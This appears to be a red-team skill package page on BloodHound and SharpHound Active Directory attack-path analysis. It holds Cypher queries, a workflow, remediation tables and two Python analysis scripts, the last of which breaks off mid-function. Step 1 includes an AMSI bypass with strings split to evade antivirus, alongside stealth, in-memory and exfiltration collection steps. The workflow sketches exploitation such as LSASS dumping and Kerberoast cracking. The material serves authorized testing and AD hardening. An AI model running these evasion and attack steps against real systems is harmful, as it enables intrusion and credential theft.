red teaming

Performing Active Directory BloodHound Analysis

Use BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin.

active-directoryad-enumerationattack-pathbloodhoundgraph-theoryprivilege-escalationsharphound
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.

When to Use

  • When conducting security assessments that involve performing active directory bloodhound analysis
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Initial foothold on a domain-joined Windows system (or valid domain credentials)
  • BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
  • SharpHound collector (C# binary or PowerShell module)
  • Neo4j database (Legacy) or PostgreSQL (CE)
  • Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Technique ID Name Tactic
T1087.002 Account Discovery: Domain Account Discovery
T1069.002 Permission Groups Discovery: Domain Groups Discovery
T1018 Remote System Discovery Discovery
T1482 Domain Trust Discovery Discovery
T1615 Group Policy Discovery Discovery
T1069.001 Permission Groups Discovery: Local Groups Discovery

Step 1: Data Collection with SharpHound

SharpHound.exe (Preferred for OPSEC)

# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
 
# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
 
# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
 
# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
 
# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp

Invoke-BloodHound (PowerShell)

# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
 
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)

AzureHound (Azure AD)

# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
 
# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

Step 2: Import Data into BloodHound

BloodHound CE (v5+)

# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up
 
# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File

BloodHound Legacy

# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)
 
# Start BloodHound GUI
./BloodHound --no-sandbox
 
# Drag and drop ZIP file into BloodHound GUI

Step 3: Attack Path Analysis

Pre-Built Queries (Most Critical)

-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
 
-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
 
-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
 
-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
 
-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
 
-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p
 
-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
 
-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
 
-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50
 
-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name

Custom Cypher Queries

-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
 
-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
 
-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
 
-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name
 
-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name

Step 4: Common Attack Paths

Path 1: Kerberoasting to DA

User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin

Path 2: ACL Abuse Chain

User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin

Path 3: Unconstrained Delegation

User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync

Path 4: GPO Abuse

User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM

Step 5: Remediation Recommendations

Finding Risk Remediation
Kerberoastable DA Critical Use gMSA, rotate passwords, AES-only
Unconstrained Delegation Critical Migrate to constrained/RBCD delegation
Domain Users local admin High Remove DA from local admin, use LAPS
Excessive ACL permissions High Audit and reduce GenericAll/WriteDACL
Stale admin sessions Medium Implement session cleanup, restrict RDP
Cross-domain trust abuse High Review trust direction and SID filtering

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.5 KB

API Reference: BloodHound AD Attack Path Analysis

neo4j Python Driver

from neo4j import GraphDatabase
driver = GraphDatabase.driver(uri, auth=(user, password))
driver.verify_connectivity()
with driver.session() as session:
    results = session.run(query, parameters)
    records = [dict(record) for record in results]
driver.close()

Key BloodHound Cypher Queries

Domain Admins

MATCH (u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.name STARTS WITH 'DOMAIN ADMINS'
RETURN u.name, u.enabled

Shortest Path to DA

MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group))
WHERE g.name STARTS WITH 'DOMAIN ADMINS'
RETURN u.name, length(p) AS hops ORDER BY hops

Kerberoastable Users

MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true
RETURN u.name, u.serviceprincipalnames

Unconstrained Delegation

MATCH (c:Computer) WHERE c.unconstraineddelegation=true
RETURN c.name, c.operatingsystem

BloodHound Node Types

Node Properties
User name, enabled, hasspn, admincount, owned, dontreqpreauth
Computer name, operatingsystem, unconstraineddelegation, enabled
Group name, admincount, objectid
GPO name, gpcpath
OU name, guid

BloodHound Edge Types

Edge Meaning
MemberOf Group membership
AdminTo Local admin rights
HasSession Active session on computer
GenericAll Full object control
WriteDacl Can modify ACL
GpLink GPO linked to OU
standards.md2.3 KB

Standards and References: BloodHound AD Analysis

MITRE ATT&CK Techniques

Discovery (TA0007)

  • T1087.002 - Account Discovery: Domain Account
  • T1069.001 - Permission Groups Discovery: Local Groups
  • T1069.002 - Permission Groups Discovery: Domain Groups
  • T1018 - Remote System Discovery
  • T1482 - Domain Trust Discovery
  • T1615 - Group Policy Discovery
  • T1016 - System Network Configuration Discovery
  • T1049 - System Network Connections Discovery
  • T1033 - System Owner/User Discovery

Lateral Movement (TA0008) - Paths Identified by BloodHound

  • T1550.002 - Use Alternate Authentication Material: Pass the Hash
  • T1550.003 - Use Alternate Authentication Material: Pass the Ticket
  • T1021.002 - Remote Services: SMB/Windows Admin Shares
  • T1021.001 - Remote Services: Remote Desktop Protocol
  • T1021.006 - Remote Services: Windows Remote Management

Credential Access (TA0006) - Attacks Enabled by BloodHound

  • T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
  • T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting
  • T1003.006 - OS Credential Dumping: DCSync
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket

Privilege Escalation (TA0004)

  • T1484.001 - Domain Policy Modification: Group Policy Modification
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1134 - Access Token Manipulation

BloodHound Software Entry

  • MITRE ATT&CK ID: S0521
  • Type: Tool
  • Platforms: Windows, Azure AD
  • Associated Groups: FIN7, APT29, Wizard Spider

NIST References

  • NIST SP 800-53 Rev. 5 - AC-6: Least Privilege
  • NIST SP 800-53 Rev. 5 - AC-2: Account Management
  • NIST SP 800-53 Rev. 5 - IA-5: Authenticator Management
  • NIST SP 800-171 - 3.1.5: Least Privilege

CIS Benchmarks

  • CIS Microsoft Windows Server 2022 - Section 2.3.10: Network access
  • CIS Active Directory Benchmark - Section 1: Account Policies
  • CIS Controls v8 - Control 6: Access Control Management
  • CIS Controls v8 - Control 5: Account Management

Active Directory Security Hardening Standards

  • Microsoft Tier Model for Active Directory Administration
  • Microsoft Privileged Access Workstation (PAW) Architecture
  • ANSSI Active Directory Security Hardening Guide
  • ASD Essential Eight: Restrict Administrative Privileges
workflows.md7.6 KB

Workflows: BloodHound AD Analysis

BloodHound Analysis Workflow

┌─────────────────────────────────────────────────────────────────┐
│              BLOODHOUND ANALYSIS WORKFLOW                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. DATA COLLECTION                                              │
│     ├── Select collector (SharpHound/AzureHound)                 │
│     ├── Choose collection method                                 │
│     │   ├── All (comprehensive, noisy)                           │
│     │   ├── DCOnly (LDAP only, stealthier)                       │
│     │   ├── Session (user sessions on computers)                 │
│     │   └── ACL (permission relationships)                       │
│     ├── Execute collection                                       │
│     └── Exfiltrate ZIP to analysis workstation                   │
│                                                                  │
│  2. DATA IMPORT                                                  │
│     ├── Start BloodHound CE/Neo4j                                │
│     ├── Upload collection ZIP                                    │
│     ├── Verify node counts (Users, Computers, Groups)            │
│     └── Mark owned principals and high-value targets             │
│                                                                  │
│  3. INITIAL ANALYSIS                                             │
│     ├── Run pre-built analytics                                  │
│     │   ├── Find all Domain Admins                               │
│     │   ├── Find Kerberoastable accounts                         │
│     │   ├── Find AS-REP Roastable accounts                       │
│     │   ├── Find unconstrained delegation                        │
│     │   └── Find shortest paths to DA                            │
│     ├── Identify high-value targets                              │
│     └── Document initial findings                                │
│                                                                  │
│  4. ATTACK PATH IDENTIFICATION                                   │
│     ├── Mark owned nodes                                         │
│     ├── Shortest path from owned to DA                           │
│     ├── Analyze ACL abuse paths                                  │
│     │   ├── GenericAll / GenericWrite                             │
│     │   ├── WriteDACL / WriteOwner                               │
│     │   ├── ForceChangePassword                                  │
│     │   └── AddMember                                            │
│     ├── Analyze delegation abuse                                 │
│     ├── Analyze GPO abuse paths                                  │
│     └── Prioritize attack paths by feasibility                   │
│                                                                  │
│  5. EXPLOITATION                                                 │
│     ├── Execute selected attack path                             │
│     ├── Kerberoast service accounts                              │
│     ├── Abuse ACL misconfigurations                              │
│     ├── Leverage delegation settings                             │
│     └── Mark newly owned principals                              │
│                                                                  │
│  6. REPORTING                                                    │
│     ├── Export attack path screenshots                           │
│     ├── Document each hop in attack chain                        │
│     ├── Map to MITRE ATT&CK techniques                          │
│     ├── Provide remediation for each finding                     │
│     └── Generate AD hardening recommendations                    │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

SharpHound Collection Method Selection

Collection Method Decision

├── Need comprehensive data?
│   └── Use -c All (Collects everything)
│       Warning: Noisy, generates LDAP and SMB traffic

├── Need stealth?
│   └── Use -c DCOnly (Queries only DCs via LDAP)
│       Limitation: No session or local group data

├── Need session data over time?
│   └── Use -c Session --loop
│       Best for: Finding where admins are logged in

├── Azure AD environment?
│   └── Use AzureHound
│       Collects: Roles, App Registrations, Service Principals

└── Minimal footprint needed?
    └── Use -c Group,ACL
        Collects: Group memberships and ACL relationships only

Attack Path Exploitation Decision Tree

BloodHound Shows Path to DA

├── Path via Kerberoastable account?
│   ├── Request TGS ticket (Rubeus/GetUserSPNs)
│   ├── Crack with hashcat (-m 13100)
│   └── Use cracked credential to continue path

├── Path via ACL abuse?
│   ├── GenericAll on user? → ForceChangePassword
│   ├── GenericAll on group? → Add self to group
│   ├── WriteDACL? → Grant self GenericAll, then abuse
│   ├── WriteOwner? → Change owner, then modify DACL
│   └── AddMember? → Add self to privileged group

├── Path via delegation?
│   ├── Unconstrained? → Coerce DC auth + capture TGT
│   ├── Constrained? → S4U2Self + S4U2Proxy abuse
│   └── RBCD? → Configure msDS-AllowedToActOnBehalf

├── Path via GPO?
│   ├── GenericWrite on GPO? → Add scheduled task
│   └── GpLink control? → Link malicious GPO to OU

└── Path via session?
    ├── Admin on computer with DA session?
    ├── Dump LSASS for DA credentials
    └── Or steal token/ticket

BloodHound Edge Reference

Edge Type Meaning Abuse Method
MemberOf Group membership Inherit group permissions
AdminTo Local admin rights PsExec, WMI, WinRM
HasSession User logged in Credential theft
GenericAll Full control Reset password, modify object
GenericWrite Write properties Set SPN, modify attributes
WriteDacl Modify permissions Grant self full control
WriteOwner Change owner Take ownership then WriteDacl
ForceChangePassword Reset password Change user password
AddMember Add to group Add self to privileged group
AllowedToDelegate Constrained delegation S4U2Proxy abuse
AllowedToAct RBCD Resource-based constrained delegation
CanRDP RDP access Remote desktop connection
CanPSRemote WinRM access PowerShell remoting
ExecuteDCOM DCOM execution Remote code execution
GPLink GPO linked to OU Modify GPO for code execution

Scripts 2

agent.py7.1 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""BloodHound Attack Path Analysis Agent - Queries Neo4j for AD attack paths to Domain Admin."""

import json
import logging
import argparse
from datetime import datetime

from neo4j import GraphDatabase

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def connect_neo4j(uri, username, password):
    """Connect to Neo4j database containing BloodHound data."""
    driver = GraphDatabase.driver(uri, auth=(username, password))
    driver.verify_connectivity()
    logger.info("Connected to Neo4j at %s", uri)
    return driver


def find_domain_admins(driver):
    """Find all members of the Domain Admins group."""
    query = (
        "MATCH (u:User)-[:MemberOf*1..]->(g:Group) "
        "WHERE g.name STARTS WITH 'DOMAIN ADMINS' "
        "RETURN u.name AS user, u.enabled AS enabled, u.lastlogon AS lastlogon"
    )
    with driver.session() as session:
        results = [dict(record) for record in session.run(query)]
    logger.info("Found %d Domain Admin members", len(results))
    return results


def find_shortest_paths_to_da(driver, start_user=None):
    """Find shortest attack paths from owned users to Domain Admin."""
    if start_user:
        query = (
            "MATCH p=shortestPath((u:User {name: $user})-[*1..]->(g:Group)) "
            "WHERE g.name STARTS WITH 'DOMAIN ADMINS' "
            "RETURN p, length(p) AS hops"
        )
        params = {"user": start_user}
    else:
        query = (
            "MATCH p=shortestPath((u:User {owned: true})-[*1..]->(g:Group)) "
            "WHERE g.name STARTS WITH 'DOMAIN ADMINS' "
            "RETURN u.name AS start, length(p) AS hops "
            "ORDER BY hops ASC LIMIT 20"
        )
        params = {}
    with driver.session() as session:
        results = [dict(record) for record in session.run(query, params)]
    logger.info("Found %d attack paths to DA", len(results))
    return results


def find_kerberoastable_users(driver):
    """Find users with SPNs set (Kerberoastable) that have paths to high-value targets."""
    query = (
        "MATCH (u:User) WHERE u.hasspn = true AND u.enabled = true "
        "RETURN u.name AS user, u.serviceprincipalnames AS spns, "
        "u.admincount AS admincount, u.pwdlastset AS pwdlastset"
    )
    with driver.session() as session:
        results = [dict(record) for record in session.run(query)]
    logger.info("Found %d Kerberoastable users", len(results))
    return results


def find_asrep_roastable(driver):
    """Find users with Kerberos pre-auth disabled (AS-REP Roastable)."""
    query = (
        "MATCH (u:User) WHERE u.dontreqpreauth = true AND u.enabled = true "
        "RETURN u.name AS user, u.enabled AS enabled"
    )
    with driver.session() as session:
        results = [dict(record) for record in session.run(query)]
    logger.info("Found %d AS-REP Roastable users", len(results))
    return results


def find_unconstrained_delegation(driver):
    """Find computers with unconstrained delegation enabled."""
    query = (
        "MATCH (c:Computer) WHERE c.unconstraineddelegation = true "
        "RETURN c.name AS computer, c.operatingsystem AS os, c.enabled AS enabled"
    )
    with driver.session() as session:
        results = [dict(record) for record in session.run(query)]
    logger.info("Found %d unconstrained delegation computers", len(results))
    return results


def find_local_admin_paths(driver, target_computer):
    """Find users with local admin rights on a target computer."""
    query = (
        "MATCH p=(u:User)-[:AdminTo|MemberOf*1..]->(c:Computer {name: $computer}) "
        "RETURN u.name AS user, length(p) AS hops "
        "ORDER BY hops ASC LIMIT 50"
    )
    with driver.session() as session:
        results = [dict(record) for record in session.run(query, {"computer": target_computer})]
    logger.info("Found %d users with admin access to %s", len(results), target_computer)
    return results


def find_gpo_attack_paths(driver):
    """Find GPO-based attack paths that could lead to privilege escalation."""
    query = (
        "MATCH (g:GPO)-[:GpLink]->(ou:OU)-[:Contains*1..]->(c:Computer) "
        "MATCH (u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g) "
        "WHERE u.enabled = true "
        "RETURN u.name AS user, g.name AS gpo, c.name AS affected_computer "
        "LIMIT 50"
    )
    with driver.session() as session:
        results = [dict(record) for record in session.run(query)]
    logger.info("Found %d GPO attack paths", len(results))
    return results


def assess_ad_risk(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths):
    """Calculate overall AD security risk score."""
    score = 0
    if len(paths) > 0:
        score += 30
    if len(kerberoastable) > 5:
        score += 20
    if len(asrep) > 0:
        score += 15
    if len(unconstrained) > 1:
        score += 15
    if len(gpo_paths) > 0:
        score += 20
    risk = "Critical" if score >= 60 else "High" if score >= 40 else "Medium" if score >= 20 else "Low"
    return {"score": score, "risk_level": risk}


def generate_report(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths, risk):
    """Generate BloodHound analysis report."""
    report = {
        "timestamp": datetime.utcnow().isoformat(),
        "domain_admins": da_members,
        "attack_paths_to_da": paths[:20],
        "kerberoastable_users": kerberoastable,
        "asrep_roastable": asrep,
        "unconstrained_delegation": unconstrained,
        "gpo_attack_paths": gpo_paths[:20],
        "risk_assessment": risk,
    }
    print(f"BLOODHOUND REPORT: Risk={risk['risk_level']} Score={risk['score']}")
    return report


def main():
    parser = argparse.ArgumentParser(description="BloodHound Attack Path Analysis Agent")
    parser.add_argument("--neo4j-uri", default="bolt://localhost:7687")
    parser.add_argument("--neo4j-user", default="neo4j")
    parser.add_argument("--neo4j-password", required=True)
    parser.add_argument("--start-user", help="Specific user to find paths from")
    parser.add_argument("--output", default="bloodhound_report.json")
    args = parser.parse_args()

    driver = connect_neo4j(args.neo4j_uri, args.neo4j_user, args.neo4j_password)
    da_members = find_domain_admins(driver)
    paths = find_shortest_paths_to_da(driver, args.start_user)
    kerberoastable = find_kerberoastable_users(driver)
    asrep = find_asrep_roastable(driver)
    unconstrained = find_unconstrained_delegation(driver)
    gpo_paths = find_gpo_attack_paths(driver)
    risk = assess_ad_risk(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths)

    report = generate_report(da_members, paths, kerberoastable, asrep, unconstrained, gpo_paths, risk)
    driver.close()
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2, default=str)
    logger.info("Report saved to %s", args.output)


if __name__ == "__main__":
    main()
process.py16.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
BloodHound Data Analyzer

Parses BloodHound JSON collection data to identify high-risk attack paths,
Kerberoastable accounts, ACL misconfigurations, and delegation abuse
opportunities without requiring the BloodHound GUI.
"""

import json
import os
import sys
from collections import defaultdict
from dataclasses import dataclass, field
from typing import Optional


@dataclass
class ADUser:
    name: str
    enabled: bool = True
    has_spn: bool = False
    dont_req_preauth: bool = False
    admin_count: bool = False
    password_last_set: str = ""
    last_logon: str = ""
    description: str = ""
    sid: str = ""


@dataclass
class ADComputer:
    name: str
    os: str = ""
    enabled: bool = True
    unconstrained_delegation: bool = False
    allowed_to_delegate: list = field(default_factory=list)
    local_admins: list = field(default_factory=list)
    has_sessions: list = field(default_factory=list)


@dataclass
class ADGroup:
    name: str
    members: list = field(default_factory=list)
    high_value: bool = False
    sid: str = ""


@dataclass
class Finding:
    severity: str  # critical, high, medium, low
    category: str
    title: str
    description: str
    affected_objects: list = field(default_factory=list)
    attack_path: str = ""
    remediation: str = ""
    mitre_technique: str = ""


class BloodHoundAnalyzer:
    """Analyze BloodHound collection data for attack paths."""

    def __init__(self):
        self.users: dict[str, ADUser] = {}
        self.computers: dict[str, ADComputer] = {}
        self.groups: dict[str, ADGroup] = {}
        self.acl_edges: list[dict] = []
        self.findings: list[Finding] = []
        self.domain_admins: set = set()

    def load_bloodhound_data(self, data_dir: str) -> None:
        """Load BloodHound JSON files from collection directory."""
        for filename in os.listdir(data_dir):
            filepath = os.path.join(data_dir, filename)
            if not filename.endswith(".json"):
                continue

            with open(filepath) as f:
                try:
                    data = json.load(f)
                except json.JSONDecodeError:
                    print(f"[-] Failed to parse {filename}")
                    continue

            if "users" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "users"):
                self._parse_users(data)
            elif "computers" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "computers"):
                self._parse_computers(data)
            elif "groups" in filename.lower() or (isinstance(data, dict) and data.get("meta", {}).get("type") == "groups"):
                self._parse_groups(data)

        print(f"[+] Loaded: {len(self.users)} users, {len(self.computers)} computers, {len(self.groups)} groups")

    def _parse_users(self, data: dict) -> None:
        """Parse user data from BloodHound JSON."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for user_data in items:
            props = user_data.get("Properties", user_data.get("properties", {}))
            name = props.get("name", user_data.get("name", "unknown"))
            user = ADUser(
                name=name,
                enabled=props.get("enabled", True),
                has_spn=props.get("hasspn", False),
                dont_req_preauth=props.get("dontreqpreauth", False),
                admin_count=props.get("admincount", False),
                password_last_set=str(props.get("pwdlastset", "")),
                last_logon=str(props.get("lastlogon", "")),
                description=props.get("description", ""),
                sid=props.get("objectid", props.get("objectsid", "")),
            )
            self.users[name.upper()] = user

    def _parse_computers(self, data: dict) -> None:
        """Parse computer data from BloodHound JSON."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for comp_data in items:
            props = comp_data.get("Properties", comp_data.get("properties", {}))
            name = props.get("name", comp_data.get("name", "unknown"))
            computer = ADComputer(
                name=name,
                os=props.get("operatingsystem", ""),
                enabled=props.get("enabled", True),
                unconstrained_delegation=props.get("unconstraineddelegation", False),
                allowed_to_delegate=props.get("allowedtodelegate", []) or [],
            )
            self.computers[name.upper()] = computer

    def _parse_groups(self, data: dict) -> None:
        """Parse group data from BloodHound JSON."""
        items = data.get("data", data) if isinstance(data, dict) else data
        if isinstance(items, dict):
            items = items.get("data", [])

        for group_data in items:
            props = group_data.get("Properties", group_data.get("properties", {}))
            name = props.get("name", group_data.get("name", "unknown"))

            members_raw = group_data.get("Members", group_data.get("members", []))
            members = [m.get("MemberId", m.get("ObjectIdentifier", "")) for m in members_raw] if members_raw else []

            group = ADGroup(
                name=name,
                members=members,
                high_value=props.get("highvalue", False),
                sid=props.get("objectid", ""),
            )
            self.groups[name.upper()] = group

            if "DOMAIN ADMINS" in name.upper():
                self.domain_admins = set(members)

    def find_kerberoastable_accounts(self) -> list[Finding]:
        """Identify Kerberoastable service accounts."""
        kerberoastable = [u for u in self.users.values() if u.has_spn and u.enabled]
        findings = []

        if kerberoastable:
            privileged_kerberoastable = [
                u for u in kerberoastable if u.admin_count
            ]

            findings.append(Finding(
                severity="critical" if privileged_kerberoastable else "high",
                category="Kerberoasting",
                title=f"Found {len(kerberoastable)} Kerberoastable Accounts",
                description=(
                    f"{len(kerberoastable)} enabled user accounts have Service Principal Names (SPNs) "
                    f"set, making them vulnerable to Kerberoasting (T1558.003). "
                    f"{len(privileged_kerberoastable)} of these are privileged accounts."
                ),
                affected_objects=[u.name for u in kerberoastable],
                attack_path="GetUserSPNs.py -> Request TGS -> Crack offline with hashcat -m 13100",
                remediation=(
                    "1. Use Group Managed Service Accounts (gMSA) where possible\n"
                    "2. Set 25+ character passwords on service accounts\n"
                    "3. Enable AES encryption only (disable RC4)\n"
                    "4. Monitor Event ID 4769 for anomalous TGS requests"
                ),
                mitre_technique="T1558.003",
            ))

        return findings

    def find_asrep_roastable_accounts(self) -> list[Finding]:
        """Identify AS-REP Roastable accounts."""
        asrep = [u for u in self.users.values() if u.dont_req_preauth and u.enabled]
        findings = []

        if asrep:
            findings.append(Finding(
                severity="high",
                category="AS-REP Roasting",
                title=f"Found {len(asrep)} AS-REP Roastable Accounts",
                description=(
                    f"{len(asrep)} accounts have 'Do not require Kerberos pre-authentication' "
                    f"enabled, allowing offline password cracking (T1558.004)."
                ),
                affected_objects=[u.name for u in asrep],
                attack_path="GetNPUsers.py -> Request AS-REP -> Crack with hashcat -m 18200",
                remediation=(
                    "1. Enable Kerberos pre-authentication for all accounts\n"
                    "2. Use strong passwords (25+ characters) on affected accounts\n"
                    "3. Monitor Event ID 4768 with pre-auth type 0"
                ),
                mitre_technique="T1558.004",
            ))

        return findings

    def find_unconstrained_delegation(self) -> list[Finding]:
        """Identify computers with unconstrained delegation."""
        unconstrained = [
            c for c in self.computers.values()
            if c.unconstrained_delegation and c.enabled
            and "DOMAIN CONTROLLER" not in c.name.upper()
        ]
        findings = []

        if unconstrained:
            findings.append(Finding(
                severity="critical",
                category="Delegation Abuse",
                title=f"Found {len(unconstrained)} Non-DC Computers with Unconstrained Delegation",
                description=(
                    f"{len(unconstrained)} computers (excluding DCs) have unconstrained delegation "
                    f"enabled. An attacker with admin access to these systems can capture TGTs "
                    f"from any user that authenticates to them, including Domain Admins."
                ),
                affected_objects=[c.name for c in unconstrained],
                attack_path=(
                    "Compromise unconstrained host -> Coerce DC auth (PetitPotam/PrinterBug) -> "
                    "Capture DC TGT with Rubeus monitor -> DCSync"
                ),
                remediation=(
                    "1. Remove unconstrained delegation from non-DC computers\n"
                    "2. Migrate to constrained delegation or RBCD\n"
                    "3. Add sensitive accounts to 'Protected Users' group\n"
                    "4. Enable 'Account is sensitive and cannot be delegated'"
                ),
                mitre_technique="T1558.001",
            ))

        return findings

    def find_constrained_delegation(self) -> list[Finding]:
        """Identify constrained delegation abuse opportunities."""
        constrained = [
            c for c in self.computers.values()
            if c.allowed_to_delegate and c.enabled
        ]
        findings = []

        if constrained:
            findings.append(Finding(
                severity="high",
                category="Delegation Abuse",
                title=f"Found {len(constrained)} Computers with Constrained Delegation",
                description=(
                    f"{len(constrained)} computers have constrained delegation configured. "
                    f"If protocol transition is enabled (TrustedToAuthForDelegation), an attacker "
                    f"can abuse S4U2Self and S4U2Proxy to impersonate any user to the target service."
                ),
                affected_objects=[
                    f"{c.name} -> {', '.join(c.allowed_to_delegate)}" for c in constrained
                ],
                remediation=(
                    "1. Review all constrained delegation configurations\n"
                    "2. Disable protocol transition where not needed\n"
                    "3. Use RBCD instead of traditional constrained delegation\n"
                    "4. Add sensitive accounts to 'Protected Users' group"
                ),
                mitre_technique="T1550.003",
            ))

        return findings

    def run_full_analysis(self) -> list[Finding]:
        """Run all analysis checks and return findings."""
        self.findings = []
        self.findings.extend(self.find_kerberoastable_accounts())
        self.findings.extend(self.find_asrep_roastable_accounts())
        self.findings.extend(self.find_unconstrained_delegation())
        self.findings.extend(self.find_constrained_delegation())

        # Sort by severity
        severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3}
        self.findings.sort(key=lambda f: severity_order.get(f.severity, 99))

        return self.findings

    def generate_report(self) -> str:
        """Generate analysis report."""
        lines = []
        lines.append("=" * 70)
        lines.append("BLOODHOUND ACTIVE DIRECTORY ANALYSIS REPORT")
        lines.append("=" * 70)
        lines.append(f"\nDomain Statistics:")
        lines.append(f"  Users:     {len(self.users)}")
        lines.append(f"  Computers: {len(self.computers)}")
        lines.append(f"  Groups:    {len(self.groups)}")
        lines.append(f"  Findings:  {len(self.findings)}")

        # Summary by severity
        sev_counts = defaultdict(int)
        for f in self.findings:
            sev_counts[f.severity] += 1
        lines.append(f"\n  Critical: {sev_counts['critical']}")
        lines.append(f"  High:     {sev_counts['high']}")
        lines.append(f"  Medium:   {sev_counts['medium']}")
        lines.append(f"  Low:      {sev_counts['low']}")

        lines.append("\n" + "=" * 70)
        lines.append("DETAILED FINDINGS")
        lines.append("=" * 70)

        for i, finding in enumerate(self.findings, 1):
            lines.append(f"\n--- Finding #{i}: [{finding.severity.upper()}] {finding.title} ---")
            lines.append(f"Category: {finding.category}")
            lines.append(f"MITRE ATT&CK: {finding.mitre_technique}")
